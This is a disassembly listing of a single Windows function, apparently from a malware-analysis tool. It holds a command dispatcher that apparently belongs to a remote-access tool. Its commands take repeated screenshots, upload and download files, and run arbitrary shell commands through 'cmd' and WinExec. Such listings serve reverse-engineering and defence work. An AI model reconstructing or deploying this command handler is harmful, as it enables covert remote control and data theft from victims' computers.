Function at 0x14001a1cb
Capabilities:
Create process on windows

Disassembly:
jmp 0x140030c70
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xf08
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x29a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xf28]
mov rax, qword [0x140063048]
xor rax, rbp
mov qword [rbp + 0xed8], rax
lea rcx, [0x1400703f2]
call fcn.14001a5b3
nop
xor edx, edx
mov rcx, qword [rbp + 0xf08]
call fcn.140019361
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.1400192f3
mov qword [rbp + 0xe78], rax
lea rdx, str.print
lea rcx, [rbp + 8]
call fcn.1400198ac
mov byte [rbp + 0xe74], al
movzx eax, byte [rbp + 0xe74]
test eax, eax
je 0x140030e0f
mov rcx, qword [rbp + 0xf08]
call fcn.1400197da
cmp rax, 2
jae 0x140030d69
lea rdx, str.____Error_____n_n
lea rcx, [rbp + 0x548]
call fcn.1400199dd
mov qword [rbp + 0xe78], rax
mov rax, qword [rbp + 0xf00]
add rax, 0x1a0
lea rdx, [rbp + 0x548]
mov rcx, rax
call fcn.14001a180
nop
lea rcx, [rbp + 0x548]
call fcn.140019415
nop
lea rcx, [rbp + 8]
call fcn.140019415
jmp 0x140031a4b
mov edx, 1
mov rcx, qword [rbp + 0xf08]
call fcn.140019361
mov r8, rax
lea rdx, str.___
lea rcx, [rbp + 0x588]
call fcn.1400190e6
mov qword [rbp + 0xe78], rax
mov rax, qword [rbp + 0xe78]
mov qword [rbp + 0xe80], rax
lea r8, [0x14005597c]
mov rdx, qword [rbp + 0xe80]
lea rcx, [rbp + 0x5c8]
call fcn.14001a3e2
mov qword [rbp + 0xe88], rax
mov rax, qword [rbp + 0xe88]
mov qword [rbp + 0xe90], rax
mov rax, qword [rbp + 0xf00]
add rax, 0x1a0
mov rdx, qword [rbp + 0xe90]
mov rcx, rax
call fcn.14001a180
nop
lea rcx, [rbp + 0x5c8]
call fcn.140019415
nop
lea rcx, [rbp + 0x588]
call fcn.140019415
jmp 0x140031a3f
lea rdx, str.screen
lea rcx, [rbp + 8]
call fcn.1400198ac
mov byte [rbp + 0xe74], al
movzx eax, byte [rbp + 0xe74]
test eax, eax
je 0x140031225
mov rcx, qword [rbp + 0xf08]
call fcn.1400197da
cmp rax, 2
jae 0x140030e98
lea rdx, str.____Error_____n_n
lea rcx, [rbp + 0x608]
call fcn.1400199dd
mov qword [rbp + 0xe78], rax
mov rax, qword [rbp + 0xf00]
add rax, 0x1a0
lea rdx, [rbp + 0x608]
mov rcx, rax
call fcn.14001a180
nop
lea rcx, [rbp + 0x608]
call fcn.140019415
nop
lea rcx, [rbp + 8]
call fcn.140019415
jmp 0x140031a4b
mov edx, 1
mov rcx, qword [rbp + 0xf08]
call fcn.140019361
mov r8d, 0xa
xor edx, edx
mov rcx, rax
call fcn.140019708
mov dword [rbp + 0xe74], eax
mov eax, dword [rbp + 0xe74]
mov dword [rbp + 0x44], eax
mov rax, qword [rbp + 0xf00]
add rax, 0x78
mov qword [rbp + 0xe78], rax
lea rdx, str.screens
lea rcx, [rbp + 0x668]
call fcn.1400199dd
mov qword [rbp + 0xe80], rax
lea rdx, [rbp + 0x668]
mov rcx, qword [rbp + 0xe78]
call fcn.140019fc3
mov byte [rbp + 0xe88], al
movzx eax, byte [rbp + 0xe88]
test eax, eax
jne 0x140030f24
mov dword [rbp + 0xe8c], 1
jmp 0x140030f2e
mov dword [rbp + 0xe8c], 0
movzx eax, byte [rbp + 0xe8c]
mov byte [rbp + 0x644], al
lea rcx, [rbp + 0x668]
call fcn.140019415
movzx eax, byte [rbp + 0x644]
test eax, eax
je 0x140030fee
mov rax, qword [rbp + 0xf00]
add rax, 0x78
mov qword [rbp + 0xe78], rax
lea rdx, str.screens
lea rcx, [rbp + 0x6a8]
call fcn.1400199dd
mov qword [rbp + 0xe80], rax
lea rdx, [rbp + 0x6a8]
mov rcx, qword [rbp + 0xe78]
call fcn.140019d3e
nop
lea rcx, [rbp + 0x6a8]
call fcn.140019415
mov rax, qword [rbp + 0xf00]
add rax, 0x78
mov qword [rbp + 0xe78], rax
lea rdx, str.screens
lea rcx, [rbp + 0x6e8]
call fcn.1400199dd
mov qword [rbp + 0xe80], rax
lea rdx, [rbp + 0x6e8]
mov rcx, qword [rbp + 0xe78]
call fcn.140019fc3
nop
lea rcx, [rbp + 0x6e8]
call fcn.140019415
mov dword [rbp + 0x64], 0
jmp 0x140030fff
mov eax, dword [rbp + 0x64]
inc eax
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x44]
cmp dword [rbp + 0x64], eax
jge 0x1400311d4
mov rax, qword [rbp + 0xf00]
add rax, 0x150
mov rdx, rax
lea rcx, [rbp + 0x88]
call fcn.14001a57c
mov qword [rbp + 0xe78], rax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rbp + 0xf00]
add rax, 0x78
mov qword [rbp + 0xe78], rax
xor r8d, r8d
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x728]
call fcn.14001a144
mov qword [rbp + 0xe80], rax
mov rax, qword [rbp + 0xe80]
mov qword [rbp + 0xe88], rax
mov rax, qword [rbp + 0xe88]
mov qword [rbp + 0xe90], rax
lea rdx, [rbp + 0x768]
mov rcx, qword [rbp + 0xe90]
call fcn.1400199fb
mov qword [rbp + 0xe98], rax
mov rax, qword [rbp + 0xe98]
mov qword [rbp + 0xea0], rax
mov rax, qword [rbp + 0xea0]
mov qword [rbp + 0xea8], rax
lea rdx, [rbp + 0x7a8]
mov rcx, qword [rbp + 0xea8]
call fcn.14001a7ac
mov qword [rbp + 0xeb0], rax
mov rax, qword [rbp + 0xeb0]
mov qword [rbp + 0xeb8], rax
mov r8, qword [rbp + 0xeb8]
lea rdx, [rbp + 0x88]
mov rcx, qword [rbp + 0xe78]
call fcn.140019933
nop
lea rcx, [rbp + 0x7a8]
call fcn.140019415
nop
lea rcx, [rbp + 0x768]
call fcn.14001a3d3
nop
lea rcx, [rbp + 0x728]
call fcn.14001a3d3
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp + 0x88]
lea rdx, str.____Screenhost_done___
lea rcx, [rbp + 0x7e8]
call fcn.1400190e6
mov qword [rbp + 0xe78], rax
mov rax, qword [rbp + 0xe78]
mov qword [rbp + 0xe80], rax
lea r8, str._____n_n
mov rdx, qword [rbp + 0xe80]
lea rcx, [rbp + 0x828]
call fcn.14001a3e2
mov qword [rbp + 0xe88], rax
mov rax, qword [rbp + 0xe88]
mov qword [rbp + 0xe90], rax
mov rax, qword [rbp + 0xf00]
add rax, 0x1a0
mov rdx, qword [rbp + 0xe90]
mov rcx, rax
call fcn.14001a180
nop
lea rcx, [rbp + 0x828]
call fcn.140019415
nop
lea rcx, [rbp + 0x7e8]
call fcn.140019415
nop
lea rcx, [rbp + 0x88]
call fcn.140019415
jmp 0x140030ff7
mov rax, qword [rbp + 0xf00]
add rax, 0x78
mov qword [rbp + 0xe78], rax
lea rdx, [0x1400559cc]
lea rcx, [rbp + 0x868]
call fcn.1400199dd
mov qword [rbp + 0xe80], rax
lea rdx, [rbp + 0x868]
mov rcx, qword [rbp + 0xe78]
call fcn.140019fc3
nop
lea rcx, [rbp + 0x868]
call fcn.140019415
jmp 0x140031a3f
lea rdx, str.upload
lea rcx, [rbp + 8]
call fcn.1400198ac
mov byte [rbp + 0xe74], al
movzx eax, byte [rbp + 0xe74]
test eax, eax
je 0x1400314d0
mov rcx, qword [rbp + 0xf08]
call fcn.1400197da
cmp rax, 3
jae 0x1400312ae
lea rdx, str.____Error_____n_n
lea rcx, [rbp + 0x8a8]
call fcn.1400199dd
mov qword [rbp + 0xe78], rax
mov rax, qword [rbp + 0xf00]
add rax, 0x1a0
lea rdx, [rbp + 0x8a8]
mov rcx, rax
call fcn.14001a180
nop
lea rcx, [rbp + 0x8a8]
call fcn.140019415
nop
lea rcx, [rbp + 8]
call fcn.140019415
jmp 0x140031a4b
mov rax, qword [rbp + 0xf00]
add rax, 0x78
mov qword [rbp + 0xe78], rax
lea rdx, str.uploads
lea rcx, [rbp + 0x908]
call fcn.1400199dd
mov qword [rbp + 0xe80], rax
lea rdx, [rbp + 0x908]
mov rcx, qword [rbp + 0xe78]
call fcn.140019fc3
mov byte [rbp + 0xe88], al
movzx eax, byte [rbp + 0xe88]
test eax, eax
jne 0x14003130a
mov dword [rbp + 0xe8c], 1
jmp 0x140031314
mov dword [rbp + 0xe8c], 0
movzx eax, byte [rbp + 0xe8c]
mov byte [rbp + 0x8e4], al
lea rcx, [rbp + 0x908]
call fcn.140019415
movzx eax, byte [rbp + 0x8e4]
test eax, eax
je 0x14003138a
lea rdx, str.____Uploads_folder_not_found_____n_n
lea rcx, [rbp + 0x948]
call fcn.1400199dd
mov qword [rbp + 0xe78], rax
mov rax, qword [rbp + 0xf00]
add rax, 0x1a0
lea rdx, [rbp + 0x948]
mov rcx, rax
call fcn.14001a180
nop
lea rcx, [rbp + 0x948]
call fcn.140019415
nop
lea rcx, [rbp + 8]
call fcn.140019415
jmp 0x140031a4b
mov rax, qword [rbp + 0xf00]
add rax, 0x78
mov qword [rbp + 0xe78], rax
mov edx, 1
mov rcx, qword [rbp + 0xf08]
call fcn.140019361
mov qword [rbp + 0xe80], rax
mov edx, 2
mov rcx, qword [rbp + 0xf08]
call fcn.140019361
mov qword [rbp + 0xe88], rax
mov r8, qword [rbp + 0xe80]
mov rdx, qword [rbp + 0xe88]
mov rcx, qword [rbp + 0xe78]
call fcn.14001a64e
mov byte [rbp + 0xe90], al
movzx eax, byte [rbp + 0xe90]
test eax, eax
je 0x14003143c
lea rdx, str.____Sucessfully_uploaded_file_____n_n
lea rcx, [rbp + 0x988]
call fcn.1400199dd
mov qword [rbp + 0xe78], rax
mov rax, qword [rbp + 0xf00]
add rax, 0x1a0
lea rdx, [rbp + 0x988]
mov rcx, rax
call fcn.14001a180
nop
lea rcx, [rbp + 0x988]
call fcn.140019415
jmp 0x14003147f
lea rdx, str.____Error_while_uploading_file_____n_n
lea rcx, [rbp + 0x9c8]
call fcn.1400199dd
mov qword [rbp + 0xe78], rax
mov rax, qword [rbp + 0xf00]
add rax, 0x1a0
lea rdx, [rbp + 0x9c8]
mov rcx, rax
call fcn.14001a180
nop
lea rcx, [rbp + 0x9c8]
call fcn.140019415
mov rax, qword [rbp + 0xf00]
add rax, 0x78
mov qword [rbp + 0xe78], rax
lea rdx, [0x1400559cc]
lea rcx, [rbp + 0xa08]
call fcn.1400199dd
mov qword [rbp + 0xe80], rax
lea rdx, [rbp + 0xa08]
mov rcx, qword [rbp + 0xe78]
call fcn.140019fc3
nop
lea rcx, [rbp + 0xa08]
call fcn.140019415
jmp 0x140031a3f
lea rdx, str.download
lea rcx, [rbp + 8]
call fcn.1400198ac
mov byte [rbp + 0xe74], al
movzx eax, byte [rbp + 0xe74]
test eax, eax
je 0x140031892
mov rcx, qword [rbp + 0xf08]
call fcn.1400197da
cmp rax, 2
jae 0x140031559
lea rdx, str.____Error_____n_n
lea rcx, [rbp + 0xa48]
call fcn.1400199dd
mov qword [rbp + 0xe78], rax
mov rax, qword [rbp + 0xf00]
add rax, 0x1a0
lea rdx, [rbp + 0xa48]
mov rcx, rax
call fcn.14001a180
nop
lea rcx, [rbp + 0xa48]
call fcn.140019415
nop
lea rcx, [rbp + 8]
call fcn.140019415
jmp 0x140031a4b
mov rax, qword [rbp + 0xf00]
add rax, 0x78
mov qword [rbp + 0xe78], rax
lea rdx, str.downloads
lea rcx, [rbp + 0xaa8]
call fcn.1400199dd
mov qword [rbp + 0xe80], rax
lea rdx, [rbp + 0xaa8]
mov rcx, qword [rbp + 0xe78]
call fcn.140019fc3
mov byte [rbp + 0xe88], al
movzx eax, byte [rbp + 0xe88]
test eax, eax
jne 0x1400315b5
mov dword [rbp + 0xe8c], 1
jmp 0x1400315bf
mov dword [rbp + 0xe8c], 0
movzx eax, byte [rbp + 0xe8c]
mov byte [rbp + 0xa84], al
lea rcx, [rbp + 0xaa8]
call fcn.140019415
movzx eax, byte [rbp + 0xa84]
test eax, eax
je 0x14003167f
mov rax, qword [rbp + 0xf00]
add rax, 0x78
mov qword [rbp + 0xe78], rax
lea rdx, str.downloads
lea rcx, [rbp + 0xae8]
call fcn.1400199dd
mov qword [rbp + 0xe80], rax
lea rdx, [rbp + 0xae8]
mov rcx, qword [rbp + 0xe78]
call fcn.140019d3e
nop
lea rcx, [rbp + 0xae8]
call fcn.140019415
mov rax, qword [rbp + 0xf00]
add rax, 0x78
mov qword [rbp + 0xe78], rax
lea rdx, str.downloads
lea rcx, [rbp + 0xb28]
call fcn.1400199dd
mov qword [rbp + 0xe80], rax
lea rdx, [rbp + 0xb28]
mov rcx, qword [rbp + 0xe78]
call fcn.140019fc3
nop
lea rcx, [rbp + 0xb28]
call fcn.140019415
mov rax, qword [rbp + 0xf00]
add rax, 0x78
mov qword [rbp + 0xe78], rax
mov edx, 1
mov rcx, qword [rbp + 0xf08]
call fcn.140019361
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xb88]
call fcn.14001a144
mov qword [rbp + 0xe80], rax
mov rax, qword [rbp + 0xe80]
mov qword [rbp + 0xe88], rax
mov rax, qword [rbp + 0xe88]
mov qword [rbp + 0xe90], rax
lea rdx, [rbp + 0xbc8]
mov rcx, qword [rbp + 0xe90]
call fcn.1400199fb
mov qword [rbp + 0xe98], rax
mov rax, qword [rbp + 0xe98]
mov qword [rbp + 0xea0], rax
mov rax, qword [rbp + 0xea0]
mov qword [rbp + 0xea8], rax
lea rdx, [rbp + 0xc08]
mov rcx, qword [rbp + 0xea8]
call fcn.14001a7ac
mov qword [rbp + 0xeb0], rax
mov rax, qword [rbp + 0xeb0]
mov qword [rbp + 0xeb8], rax
mov rax, qword [rbp + 0xeb8]
mov qword [rbp + 0xec0], rax
mov edx, 1
mov rcx, qword [rbp + 0xf08]
call fcn.140019361
mov qword [rbp + 0xec8], rax
mov r8, qword [rbp + 0xec0]
mov rdx, qword [rbp + 0xec8]
mov rcx, qword [rbp + 0xe78]
call fcn.140019933
mov byte [rbp + 0xed0], al
movzx eax, byte [rbp + 0xed0]
mov byte [rbp + 0xb64], al
lea rcx, [rbp + 0xc08]
call fcn.140019415
nop
lea rcx, [rbp + 0xbc8]
call fcn.14001a3d3
nop
lea rcx, [rbp + 0xb88]
call fcn.14001a3d3
movzx eax, byte [rbp + 0xb64]
test eax, eax
je 0x1400317fe
lea rdx, str.____Sucessfully_downloaded_file_____n_n
lea rcx, [rbp + 0xc48]
call fcn.1400199dd
mov qword [rbp + 0xe78], rax
mov rax, qword [rbp + 0xf00]
add rax, 0x1a0
lea rdx, [rbp + 0xc48]
mov rcx, rax
call fcn.14001a180
nop
lea rcx, [rbp + 0xc48]
call fcn.140019415
jmp 0x140031841
lea rdx, str.____Error_while_downloading_file_____n_n
lea rcx, [rbp + 0xc88]
call fcn.1400199dd
mov qword [rbp + 0xe78], rax
mov rax, qword [rbp + 0xf00]
add rax, 0x1a0
lea rdx, [rbp + 0xc88]
mov rcx, rax
call fcn.14001a180
nop
lea rcx, [rbp + 0xc88]
call fcn.140019415
mov rax, qword [rbp + 0xf00]
add rax, 0x78
mov qword [rbp + 0xe78], rax
lea rdx, [0x1400559cc]
lea rcx, [rbp + 0xcc8]
call fcn.1400199dd
mov qword [rbp + 0xe80], rax
lea rdx, [rbp + 0xcc8]
mov rcx, qword [rbp + 0xe78]
call fcn.140019fc3
nop
lea rcx, [rbp + 0xcc8]
call fcn.140019415
jmp 0x140031a3f
lea rdx, str.exec
lea rcx, [rbp + 8]
call fcn.1400198ac
mov byte [rbp + 0xe74], al
movzx eax, byte [rbp + 0xe74]
test eax, eax
je 0x1400319ad
mov rcx, qword [rbp + 0xf08]
call fcn.1400197da
cmp rax, 2
jae 0x14003191b
lea rdx, str.____Error_____n_n
lea rcx, [rbp + 0xd08]
call fcn.1400199dd
mov qword [rbp + 0xe78], rax
mov rax, qword [rbp + 0xf00]
add rax, 0x1a0
lea rdx, [rbp + 0xd08]
mov rcx, rax
call fcn.14001a180
nop
lea rcx, [rbp + 0xd08]
call fcn.140019415
nop
lea rcx, [rbp + 8]
call fcn.140019415
jmp 0x140031a4b
mov edx, 1
mov rcx, qword [rbp + 0xf08]
call fcn.140019361
mov r8, rax
lea rdx, str.cmd__d:
lea rcx, [rbp + 0xd48]
call fcn.1400190e6
mov qword [rbp + 0xe78], rax
mov rax, qword [rbp + 0xe78]
mov qword [rbp + 0xe80], rax
lea r8, [0x140055b00]
mov rdx, qword [rbp + 0xe80]
lea rcx, [rbp + 0xd88]
call fcn.14001a3e2
mov qword [rbp + 0xe88], rax
mov rcx, qword [rbp + 0xe88]
call fcn.140019230
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp + 0xd88]
call fcn.140019415
nop
lea rcx, [rbp + 0xd48]
call fcn.140019415
jmp 0x140031a3f
lea r8, [rbp + 8]
lea rdx, str.____Command:
lea rcx, [rbp + 0xdc8]
call fcn.1400190e6
mov qword [rbp + 0xe78], rax
mov rax, qword [rbp + 0xe78]
mov qword [rbp + 0xe80], rax
lea r8, str._not_found_____n_n
mov rdx, qword [rbp + 0xe80]
lea rcx, [rbp + 0xe08]
call fcn.14001a3e2
mov qword [rbp + 0xe88], rax
mov rax, qword [rbp + 0xe88]
mov qword [rbp + 0xe90], rax
mov rax, qword [rbp + 0xf00]
add rax, 0x1a0
mov rdx, qword [rbp + 0xe90]
mov rcx, rax
call fcn.14001a180
nop
lea rcx, [rbp + 0xe08]
call fcn.140019415
nop
lea rcx, [rbp + 0xdc8]
call fcn.140019415
nop
lea rcx, [rbp + 8]
call fcn.140019415
nop
jmp 0x140031a4b
lea rcx, [rbp - 0x20]
lea rdx, [0x140054850]
call fcn.14001a1f3
nop
mov rcx, qword [rbp + 0xed8]
xor rcx, rbp
call fcn.140019a8c
lea rsp, [rbp + 0xee8]
pop rdi
pop rbp
ret